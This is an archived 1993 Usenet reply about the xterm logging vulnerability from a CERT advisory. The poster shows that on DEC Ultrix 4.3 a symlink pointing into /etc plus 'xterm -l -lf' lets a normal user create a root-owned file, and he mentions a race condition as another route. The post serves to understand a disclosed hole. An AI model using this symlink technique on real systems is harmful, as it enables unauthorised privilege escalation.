Usenet comp.sys.dec (1990-2013)
 help / color / mirror / Atom feed
From: ccs@aber.ac.uk (Christopher Samuel)
Subject: Re: access() (was: Xterm "feature")
Date: Thu, 25 Nov 1993 10:31:17 GMT	[thread overview]
Message-ID: <1993Nov25.103117.8461@aber.ac.uk> (raw)
In-Reply-To: 1993Nov24.180621.8087@cee.hw.ac.uk

[ Tagged some DEC newsgroups so they can see this. ]
[ Followup-To set back to comp.security.unix ]

In article <1993Nov24.180621.8087@cee.hw.ac.uk>
   ngm@cee.hw.ac.uk (Neil Milne) doodled:

> I've checked the R4 and R5 xterm source , and there's virtually no code
> between the access and the open functions. Surely this isn't the way the
> hole is exploited?
> 
> Correct me if I'm wrong! :->

When I was figuring out what the problem was from the CERT advisory,
it took me two attempts to create a file in /etc as a normal user.

	[DEC Ultrix 4.3, supplied X11R4 xterm]

% pwd
/aber/ccs
% xterm -l -lf /etc/testfile
***	[didn't work]
% ln -s /etc/testfile testfile
% xterm -l -lf ./testfile
***	[worked - session logged to /etc/testfile, file owned by root]

So I didn't need to use a race condition, although that *is* another way
of doing things. 

Your mileage may vary.

Chris
-- 
 Christopher Samuel, Computer Unit, U.W Aberystwyth, Aberystwyth, WALES
 E-mail: ccs@aber.ac.uk         PGP 2.3 public key available on request
"Sssh! This is postmodern theory: speak too loud and you'll destroy it!"
						      - jlk0@aber.ac.uk


           reply	other threads:[~1993-11-25 10:31 UTC|newest]

Thread overview: expand[flat|nested]  mbox.gz  Atom feed
 [parent not found: <1993Nov24.180621.8087@cee.hw.ac.uk>]
read-only archive

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox